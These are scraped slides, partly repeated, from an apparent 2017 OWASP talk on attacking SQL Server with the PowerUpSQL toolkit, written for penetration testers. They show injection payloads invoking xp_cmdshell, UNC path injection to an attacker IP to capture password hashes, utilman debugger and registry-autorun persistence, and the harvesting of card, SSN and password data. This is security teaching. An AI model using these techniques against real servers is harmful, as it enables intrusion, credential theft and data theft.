  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 51: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 52: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

